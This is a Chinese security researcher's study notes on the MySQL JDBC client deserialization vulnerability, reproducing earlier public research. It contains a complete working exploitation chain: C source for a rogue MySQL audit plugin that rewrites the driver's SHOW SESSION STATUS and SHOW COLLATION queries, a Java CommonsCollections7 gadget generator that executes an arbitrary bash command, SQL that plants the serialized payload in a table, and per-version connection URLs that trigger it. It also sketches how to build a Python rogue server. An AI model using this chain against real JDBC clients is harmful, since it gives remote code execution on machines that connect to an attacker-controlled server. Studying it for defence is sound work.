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背景介绍

2019年11月底Yang Zhang等人在BlackHat上有个议题,提到MySQL JDBC客户端反序列化漏洞,用到ServerStatusDiffInterceptor,参[1]。

2019年12月Welkin给出了部分细节,但当时未解决恶意服务端的组建问题,参[2]。

codeplutos利用修改过的MySQL插件成功组建恶意服务端,这个脑洞开得可以。与此同时,他演示了另一条利用路径,用到detectCustomCollations。需要指出,他的方案原理同时适用于ServerStatusDiffInterceptor、detectCustomCollations,他只以后者举例而已。参[3]。

2020年4月fnmsd分析MySQL Connector/J各版本后给出大一统的总结,给出不同版本所需URL,给了Python版恶意服务端,参[4]。

2020年5月我学习前几位的大作,写了这篇笔记。

学习思路

先将[1]、[2]、[3]、[4]全看了一遍,没做实验,只是看。对这个洞大概有点数,通过JDBC建立到MySQL服务端的连接时,有几个内置的SQL查询语句被发出,其中两个查询的结果集在客户端被处理时会调用ObjectInputStream.readObject()进行反序列化。通过控制结果集,可以在客户端搞事,具体危害视客户端拥有的Gadget环境而定。

这两个查询语句是:

SHOW SESSION STATUS

SHOW COLLATION

利用MySQL插件机制将这两个查询语句在服务端”重定向”成查询恶意表,恶意表中某字段存放恶意Object。

需要安装MySQL,创建恶意表,编译定制过的恶意MySQL插件。写一个通用的JDBC客户端程序,用之访问恶意服务端。用Wireshark抓包,基于抓包数据用Python实现简版恶意服务端,这样可以避免陷入MySQL私有协议细节当中。

搭建测试环境

参看

《恶意MySQL Server读取MySQL Client端文件》

恶意MySQL插件

1) 获取MySQL 5.7.28源码https://repo.mysql.com/yum/mysql-5.7-community/el/7/SRPMS/mysql-community-5.7.28-1.el7.src.rpm

2) 在rewrite_example基础上修改出evilreplace$ vi evilreplace.cc

#include 
#include 
#include 
#include 
#include 
#include 
#include // my_thread_handle needed by mysql_memory.h
#include 
/* instrument the memory allocation */
#ifdef HAVE_PSI_INTERFACE
static PSI_memory_key key_memory_evilreplace;
static PSI_memory_info all_rewrite_memory[]=
{
{ &key_memory_evilreplace, "evilreplace", 0 }
};
static int plugin_init(MYSQL_PLUGIN)
{
const char* category= "sql";
int count;
count= array_elements(all_rewrite_memory);
mysql_memory_register(category, all_rewrite_memory, count);
return 0; /* success */
}
#else
#define plugin_init NULL
#define key_memory_evilreplace PSI_NOT_INSTRUMENTED
#endif /* HAVE_PSI_INTERFACE */
static int rewrite_lower(MYSQL_THD thd, mysql_event_class_t event_class,
const void *event)
{
if (event_class == MYSQL_AUDIT_PARSE_CLASS)
{
const struct mysql_event_parse *event_parse=
static_cast(event);
if (event_parse->event_subclass == MYSQL_AUDIT_PARSE_PREPARSE)
{
if
(
( strcmp( event_parse->query.str, "SHOW SESSION STATUS" ) == 0 )
||
( strcmp( event_parse->query.str, "SHOW COLLATION" ) == 0 )
)
{
char evilsql[] = "select evil_1,evil_2,evil_3 from evildb.eviltable limit 1;";
char *rewritten_query = static_cast
(
my_malloc
(
key_memory_evilreplace,
strlen( evilsql ) + 1,
MYF(0)
)
);
strcpy( rewritten_query, evilsql );
event_parse->rewritten_query->str = rewritten_query;
event_parse->rewritten_query->length = strlen( evilsql ) + 1;
*((int *)event_parse->flags) |= (int)MYSQL_AUDIT_PARSE_REWRITE_PLUGIN_QUERY_REWRITTEN;
}
}
}
return 0;
}
/* Audit plugin descriptor */
static struct st_mysql_audit evilreplace_descriptor=
{
MYSQL_AUDIT_INTERFACE_VERSION, /* interface version */
NULL, /* release_thd() */
rewrite_lower, /* event_notify() */
{ 0,
0,
(unsigned long) MYSQL_AUDIT_PARSE_ALL, } /* class mask */
};
/* Plugin descriptor */
mysql_declare_plugin(audit_log)
{
MYSQL_AUDIT_PLUGIN, /* plugin type */
&evilreplace_descriptor, /* type specific descriptor */
"evilreplace", /* plugin name */
"Oracle", /* author */
"An example of a query rewrite"
" plugin that rewrites all queries"
" to lower case", /* description */
PLUGIN_LICENSE_GPL, /* license */
plugin_init, /* plugin initializer */
NULL, /* plugin deinitializer */
0x0002, /* version */
NULL, /* status variables */
NULL, /* system variables */
NULL, /* reserverd */
0 /* flags */
}
mysql_declare_plugin_end;

参[3],codeplutos介绍了Ubuntu 16.04下的MySQL插件编译方案。各发行版的编译过程差别较大,RedHat 7.6上明显不同,建议先搞清楚如何编译MySQL源码,再来编译单个插件。

编译:/usr/bin/c++ -DHAVE_CONFIG_H -DHAVE_LIBEVENT2 -DMYSQL_DYNAMIC_PLUGIN -D_FILE_OFFSET_BITS=64 \

-D_GNU_SOURCE -Devilreplace_EXPORTS -Wall -Wextra -Wformat-security -Wvla -Woverloaded-virtual \

-Wno-unused-parameter -O3 -g -fabi-version=2 -fno-omit-frame-pointer -fno-strict-aliasing -DDBUG_OFF -fPIC \

-I//mysql-5.7.28/include \

-I//mysql-5.7.28/extra/rapidjson/include \

-I//mysql-5.7.28/libbinlogevents/include \

-I//mysql-5.7.28/libbinlogevents/export \

-isystem //mysql-5.7.28/zlib \

-I//mysql-5.7.28/sql \

-I//mysql-5.7.28/sql/auth \

-I//mysql-5.7.28/regex \

-o evilreplace.cc.o \

-c evilreplace.cc

链接:/usr/bin/c++ -fPIC -Wall -Wextra -Wformat-security -Wvla -Woverloaded-virtual -Wno-unused-parameter \

-O3 -g -fabi-version=2 -fno-omit-frame-pointer -fno-strict-aliasing -DDBUG_OFF \

-fPIC -shared -Wl,-soname,evilreplace.so -o evilreplace.so \

evilreplace.cc.o -lpthread \

//libmysqlservices.a -lpthread

测试rewriter插件

rewriter.so是自带的插件,不需要源码编译。

1) 安装rewriter.so

查看:

/usr/share/mysql/install_rewriter.sql

除了安装rewriter.so,还涉及辅助表和存储过程的创建。

mysql> source /usr/share/mysql/install_rewriter.sql

这会多出query_rewrite库、query_rewrite.rewrite_rules表。

mysql> show plugins;

mysql 现有序号全部更新为有序 mysql序列_mysql反序列化表

mysql> SHOW GLOBAL VARIABLES LIKE ‘rewriter_enabled’;

mysql 现有序号全部更新为有序 mysql序列_mysql反序列化表_02

2) 在服务端替换SQL查询语句

向query_rewrite.rewrite_rules表中插入替换规则:mysql> insert into query_rewrite.rewrite_rules(pattern, replacement) values('select line from sczdb.SczTable', 'select line from sczdb.scztable limit 1');

调用存储过程刷新,使之热生效:mysql> call query_rewrite.flush_rewrite_rules();

测试替换规则:mysql> select line from sczdb.SczTable;

mysql 现有序号全部更新为有序 mysql序列_mysql_03

3) 卸载rewriter.somysql> source /usr/share/mysql/uninstall_rewriter.sql

只有退出当前客户端才彻底卸载rewriter插件,否则其仍在生效中。

4) rewriter插件的局限性

清空表,二选一,推荐后者:delete from query_rewrite.rewrite_rules;

truncate table query_rewrite.rewrite_rules;

mysql> insert into query_rewrite.rewrite_rules(pattern, replacement) values('SHOW SESSION STATUS', 'select * from evildb.eviltable');

mysql> select * from query_rewrite.rewrite_rules;

mysql 现有序号全部更新为有序 mysql序列_sql_04

mysql> call query_rewrite.flush_rewrite_rules();

ERROR 1644 (45000): Loading of some rule(s) failed.

调用存储过程刷新时意外失败,查看失败原因:mysql> select message from query_rewrite.rewrite_rules;

mysql 现有序号全部更新为有序 mysql序列_mysql 现有序号全部更新为有序_05

pattern必须是select语句,show语句不行。

据说5.7的pattern只支持select,8.0支持insert、update、delete,未实测验证。难怪codeplutos要修改rewrite_example.cc。

漏洞相关的SQL查询语句

1) SHOW SESSION STATUSmysql> help SHOW

...

SHOW COLLATION [like_or_where]

...

SHOW [GLOBAL | SESSION] STATUS [like_or_where]

...

If the syntax for a given SHOW statement includes a LIKE 'pattern'

part, 'pattern' is a string that can contain the SQL % and _ wildcard

characters. The pattern is useful for restricting statement output to

matching values.

...

URL: https://dev.mysql.com/doc/refman/5.7/en/show.html

mysql> help SHOW STATUS

...

URL: https://dev.mysql.com/doc/refman/5.7/en/show-status.html

“SHOW SESSION STATUS”访问INFORMATION_SCHEMA.SESSION_STATUS表。参[2],作者说访问INFORMATION_SCHEMA.SESSION_VARIABLES表,他应该说错了。

查看INFORMATION_SCHEMA.SESSION_STATUS表结构:mysql> select table_schema,table_name,column_name,column_type from information_schema.columns where table_name='SESSION_STATUS';

mysql 现有序号全部更新为有序 mysql序列_MySQL_06

直接访问INFORMATION_SCHEMA.SESSION_STATUS表缺省会失败:mysql> select VARIABLE_NAME,VARIABLE_VALUE from INFORMATION_SCHEMA.SESSION_STATUS limit 10;

ERROR 3167 (HY000): The 'INFORMATION_SCHEMA.SESSION_STATUS' feature is disabled; see the documentation for 'show_compatibility_56'

需要打开一个开关:mysql> set @@global.show_compatibility_56=ON;

mysql> select * from INFORMATION_SCHEMA.SESSION_STATUS limit 10;

mysql> select VARIABLE_NAME,VARIABLE_VALUE from INFORMATION_SCHEMA.SESSION_STATUS limit 10;

mysql 现有序号全部更新为有序 mysql序列_mysql反序列化表_07

2) SHOW COLLATIONmysql> help SHOW COLLATION;

...

URL: https://dev.mysql.com/doc/refman/5.7/en/show-collation.html

mysql> SHOW COLLATION WHERE Charset='latin1';

mysql 现有序号全部更新为有序 mysql序列_sql_08

“SHOW COLLATION”访问INFORMATION_SCHEMA.COLLATIONS表。

查看INFORMATION_SCHEMA.COLLATIONS表结构:mysql> select table_schema,table_name,column_name,column_type from information_schema.columns where table_name='COLLATIONS';

mysql 现有序号全部更新为有序 mysql序列_sql_09

可以直接访问INFORMATION_SCHEMA.COLLATIONS表,与show_compatibility_56无关。mysql> show variables like 'show_compatibility_56';

mysql 现有序号全部更新为有序 mysql序列_mysql 现有序号全部更新为有序_10

mysql> select * from INFORMATION_SCHEMA.COLLATIONS limit 5;

mysql 现有序号全部更新为有序 mysql序列_mysql反序列化表_11

复现漏洞

1) GenerateCommonsCollections7.java/*
* javac -encoding GBK -g -cp "commons-collections-3.1.jar" GenerateCommonsCollections7.java
* java -cp "commons-collections-3.1.jar:." GenerateCommonsCollections7 "/bin/touch /tmp/scz_is_here" /tmp/out.bin
*/
import java.io.*;
import java.util.*;
import java.lang.reflect.*;
import javax.naming.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
public class GenerateCommonsCollections7
{
/*
* ysoserial/CommonsCollections7
*/
@SuppressWarnings("unchecked")
private static Object getObject ( String cmd ) throws Exception
{
Transformer[] tarray = new Transformer[]
{
new ConstantTransformer( Runtime.class ),
new InvokerTransformer
(
"getMethod",
new Class[]
{
String.class,
Class[].class
},
new Object[]
{
"getRuntime",
new Class[0]
}
),
new InvokerTransformer
(
"invoke",
new Class[]
{
Object.class,
Object[].class
},
new Object[]
{
null,
new Object[0]
}
),
new InvokerTransformer
(
"exec",
new Class[]
{
String[].class
},
new Object[]
{
new String[]
{
"/bin/bash",
"-c",
cmd
}
}
)
};
Transformer tchain = new ChainedTransformer( new Transformer[0] );
Map normalMap_0 = new HashMap();
Map normalMap_1 = new HashMap();
Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain );
Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain );
lazyMap_0.put( "scz", "same" );
lazyMap_1.put( "tDz", "same" );
Hashtable ht = new Hashtable();
ht.put( lazyMap_0, "value_0" );
ht.put( lazyMap_1, "value_1" );
lazyMap_1.remove( "scz" );
Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" );
f.setAccessible( true );
f.set( tchain, tarray );
return( ht );
}
public static void main ( String[] argv ) throws Exception
{
String cmd = argv[0];
String out = argv[1];
Object obj = getObject( cmd );
FileOutputStream fos = new FileOutputStream( out );
ObjectOutputStream oos = new ObjectOutputStream( fos );
oos.writeObject( obj );
oos.close();
fos.close();
}
}java -cp "commons-collections-3.1.jar:." GenerateCommonsCollections7 "/bin/touch /tmp/scz_is_here" /tmp/out.bin
xxd -p -c 1000000 /tmp/out.bin
输出形如:
aced00057372…3178
2) 创建恶意表DROP TABLE IF EXISTS evildb.eviltable;
DROP DATABASE IF EXISTS evildb;
CREATE DATABASE IF NOT EXISTS evildb;
CREATE TABLE IF NOT EXISTS evildb.eviltable
(
evil_1 int(5),
evil_2 blob,
evil_3 int(5)
);
set @obj=0xaced00057372...3178;
INSERT INTO evildb.eviltable VALUES (1, @obj, 3);
UPDATE evildb.eviltable SET evil_1=1, evil_2=@obj, evil_3=3;
select lower(hex(evil_2)) from evildb.eviltable;
SHOW GRANTS FOR root;
GRANT ALL ON evildb.eviltable TO 'root'@'%';
REVOKE ALL ON evildb.eviltable FROM 'root'@'%';

evil_1、evil_3也可以用blob类型,填充同样的@obj,触发点略有差异。上面演示的恶意表是最小集,通吃。

3) 用evilreplace插件改变SQL查询语句

用evilreplace插件将来自客户端的:

SHOW SESSION STATUS

SHOW COLLATION

替换成:select evil_1,evil_2,evil_3 from evildb.eviltable limit 1;

参[3],这是codeplutos的思路,很有想像力,他用了自编译rewrite_example.so。INSTALL PLUGIN evilreplace SONAME 'evilreplace.so';

SHOW SESSION STATUS;
SHOW COLLATION;
UNINSTALL PLUGIN evilreplace;
4) JDBCClient.java/*
* javac -encoding GBK -g JDBCClient.java
*/
import java.io.*;
import java.sql.*;
public class JDBCClient
{
public static void main ( String[] argv ) throws Exception
{
String url = argv[0];
Connection conn = DriverManager.getConnection( url );
}
}

JDBCClient.java无需显式代码:Class.forName( "com.mysql.cj.jdbc.Driver" );

5) MySQL Connector/J 各版本所需URL(ServerStatusDiffInterceptor)

参[4],fnmsd分析了各种版本所需URL。

5.1) 8.xjava \

-cp "mysql-connector-java-8.0.14.jar:commons-collections-3.1.jar:." \

JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\

autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"

5.1.1) 简化版调用关系DriverManager.getConnection // 8u232+8.0.14

DriverManager.getConnection // DriverManager:270
NonRegisteringDriver.connect // DriverManager:664
ConnectionImpl.getInstance // NonRegisteringDriver:199
ConnectionImpl. // ConnectionImpl:240
ConnectionImpl.initializeSafeQueryInterceptors // ConnectionImpl:448
ConnectionImpl.createNewIO // ConnectionImpl:455
ConnectionImpl.connectOneTryOnly // ConnectionImpl:825
ConnectionImpl.initializePropsFromServer // ConnectionImpl:966
ConnectionImpl.handleAutoCommitDefaults // ConnectionImpl:1327
ConnectionImpl.setAutoCommit // ConnectionImpl:1382
NativeSession.execSQL // ConnectionImpl:2064
// 查询语句"SET autocommit=1"
NativeProtocol.sendQueryString // NativeSession:1154
NativeProtocol.sendQueryPacket // NativeProtocol:921
if (this.queryInterceptors != null) // NativeProtocol:969
NativeProtocol.invokeQueryInterceptorsPre // NativeProtocol:970
NoSubInterceptorWrapper.preProcess // NativeProtocol:1144
ServerStatusDiffInterceptor.preProcess
// NoSubInterceptorWrapper:76
ServerStatusDiffInterceptor.populateMapWithSessionStatusValues
// ServerStatusDiffInterceptor:105
rs = stmt.executeQuery("SHOW SESSION STATUS")
// ServerStatusDiffInterceptor:86
// 自动提交SQL查询
ResultSetUtil.resultSetToMap // ServerStatusDiffInterceptor:87
ResultSetImpl.getObject // ResultSetUtil:46
// mappedValues.put(rs.getObject(1), rs.getObject(2))
// 处理结果集中第1、2列
if ((field.isBinary()) || (field.isBlob()))
// ResultSetImpl:1314
byte[] data = getBytes(columnIndex)
// ResultSetImpl:1315
if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue())
// ResultSetImpl:1317
// 要求autoDeserialize等于true
ObjectInputStream.readObject // ResultSetImpl:1326
// obj = objIn.readObject();
Hashtable.readObject // ysoserial/CommonsCollections7
Hashtable.reconstitutionPut
AbstractMapDecorator.equals
AbstractMap.equals
LazyMap.get // 此处开始LazyMap利用链
ChainedTransformer.transform
InvokerTransformer.transform
Runtime.exec
if (this.queryInterceptors != null) // NativeProtocol:1109
NativeProtocol.invokeQueryInterceptorsPost
// NativeProtocol:1110

5.1.2) mysql-connector-java-8.0.14.pcap

请自行抓包,此处略

5.2) 6.x

queryInterceptors => statementInterceptorsjava \

-cp "mysql-connector-java-6.0.3.jar:commons-collections-3.1.jar:." \

JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\

autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"

5.2.2) mysql-connector-java-6.0.3.pcap

请自行抓包,此处略

5.3) 5.1.11及以上版本

com.mysql.cj. => com.mysql.java \

-cp "mysql-connector-java-5.1.40.jar:commons-collections-3.1.jar:." \

JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\

autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor"

5.3.2) mysql-connector-java-5.1.40.pcap

请自行抓包,此处略

6) MySQL Connector/J 各版本所需URL(detectCustomCollations)

参[3],触发方式是codeplutos提供的。重点看这个函数:com.mysql.jdbc.ConnectionImpl.buildCollationMapping()

参[4],fnmsd分析了各种版本所需URL。

6.1) 5.1.29-5.1.40java \

-cp "mysql-connector-java-5.1.40.jar:commons-collections-3.1.jar:." \

JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\

autoDeserialize=true&detectCustomCollations=true"

会抛异常,但恶意代码已被执行。

6.1.1) 简化版调用关系DriverManager.getConnection // 8u232+5.1.40

DriverManager.getConnection // DriverManager:270

NonRegisteringDriver.connect // DriverManager:664

ConnectionImpl.getInstance // NonRegisteringDriver:328

Util.handleNewInstance // ConnectionImpl:410

Constructor.newInstance // Util:425

JDBC4Connection.

ConnectionImpl. // JDBC4Connection:47

ConnectionImpl.initializeSafeStatementInterceptors // ConnectionImpl:805

ConnectionImpl.createNewIO // ConnectionImpl:806

ConnectionImpl.connectOneTryOnly // ConnectionImpl:2083

ConnectionImpl.initializePropsFromServer // ConnectionImpl:2297

if (versionMeetsMinimum(3, 21, 22)) // ConnectionImpl:3282

ConnectionImpl.buildCollationMapping // ConnectionImpl:3291

if ((versionMeetsMinimum(4, 1, 0)) && (getDetectCustomCollations()))

// ConnectionImpl:944

// 5.1.28版只检查版本号,未检查detectCustomCollations属性

results = stmt.executeQuery("SHOW COLLATION")

// ConnectionImpl:957

// 自动提交SQL查询

if (versionMeetsMinimum(5, 0, 0)) // ConnectionImpl:958

Util.resultSetToMap // ConnectionImpl:959

// Util.resultSetToMap(sortedCollationMap, results, 3, 2)

// 处理结果集中第3、2列

ResultSetImpl.getObject // Util:474

// mappedValues.put(rs.getObject(key), rs.getObject(value))

ResultSetImpl.getObjectDeserializingIfNeeded

// ResultSetImpl:4544

byte[] data = getBytes(columnIndex) // ResultSetImpl:4568

ObjectInputStream.readObject // ResultSetImpl:4579

// obj = objIn.readObject()

Hashtable.readObject // ysoserial/CommonsCollections7

Hashtable.reconstitutionPut

AbstractMapDecorator.equals

AbstractMap.equals

LazyMap.get // 此处开始LazyMap利用链

ChainedTransformer.transform

InvokerTransformer.transform

Runtime.exec

6.1.2) mysql-connector-java-5.1.40_d.pcap

请自行抓包,此处略

6.2) 5.1.19-5.1.28

不需要指定”detectCustomCollations=true”java \

-cp "mysql-connector-java-5.1.19.jar:commons-collections-3.1.jar:." \

JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\

autoDeserialize=true"

6.2.2) mysql-connector-java-5.1.19_d.pcap

请自行抓包,此处略

7) Python版恶意服务端

7.1) fnmsd的实现

他这个实现同时支持ServerStatusDiffInterceptor、detectCustomCollations,还支持”恶意MySQL Server读取MySQL Client端文件”,只需要Python3。

他在”踩过的坑”里写了一些值得注意的点,有兴趣者可以看他的源码。

7.2) 其他思路

fnmsd的实现,功能完备。如果只是想搞标题所说漏洞,我说个别的思路。可以基于Gifts版本实现反序列化恶意服务端:

ServerStatusDiffInterceptor适用范围包含detectCustomCollations适用范围,为了减少麻烦,可以只支持ServerStatusDiffInterceptor。具体来说,就是只特殊响应”SHOW SESSION STATUS”,不特殊响应”SHOW COLLATION”。

基于三次抓包组织响应报文:

mysql-connector-java-5.1.40.pcap

mysql-connector-java-6.0.3.pcap

mysql-connector-java-8.0.14.pcap

要点如下:5.1.11及以上版本

6.x

特殊响应"SHOW SESSION STATUS",然后必须特殊响应随后而来的

"SHOW WARNINGS"。

8.x

按抓包所示响应初始查询:

/* mysql-connector-java-8.0.14 (Revision: 36534fa273b4d7824a8668ca685465cf8eaeadd9) */SELECT ...

然后按抓包所示响应随后而来的"SHOW WARNINGS"。

特殊响应"SHOW SESSION STATUS",然后必须特殊响应随后而来的

"SHOW WARNINGS"。

这种搞法的好处是不用特别理解MySQL私有协议,fnmsd”踩过的坑”你都不会碰上。

十多年前我们按协议规范组织SMB报文时,有天看到某人在PoC里用了一个变量名,叫sendcode,他实际是把Ethereal抓包看到数据直接投放出来。当时我们很震惊,不是佩服得震惊。后来觉得某些场景下这样干,也没什么可鄙视的。

基于三次抓包组织响应报文的思路,跟sendcode异曲同工,比你想像得要通用。

当然,如果不是特别好奇,还是用fnmsd的实现吧。

参考资源

[1] New Exploit Technique In Java Deserialization Attack – Yang Zhang [2019-11-26]

[2] JDBC导致的反序列化攻击 – Welkin [2019-12-17]

[3] MySQL JDBC客户端反序列化漏洞分析 – fnmsd [2020-04-15]

[4] 6.2 Connection URL Syntax

6.3 Configuration Properties

13.7.5.25 SHOW PLUGINS Statement

24.10 The INFORMATION_SCHEMA GLOBAL_STATUS and SESSION_STATUS Tables

14.6.4.1 COM_QUERY Response

14.7.3 Binary Protocol Value

14.12.2 ProtocolText::Resultset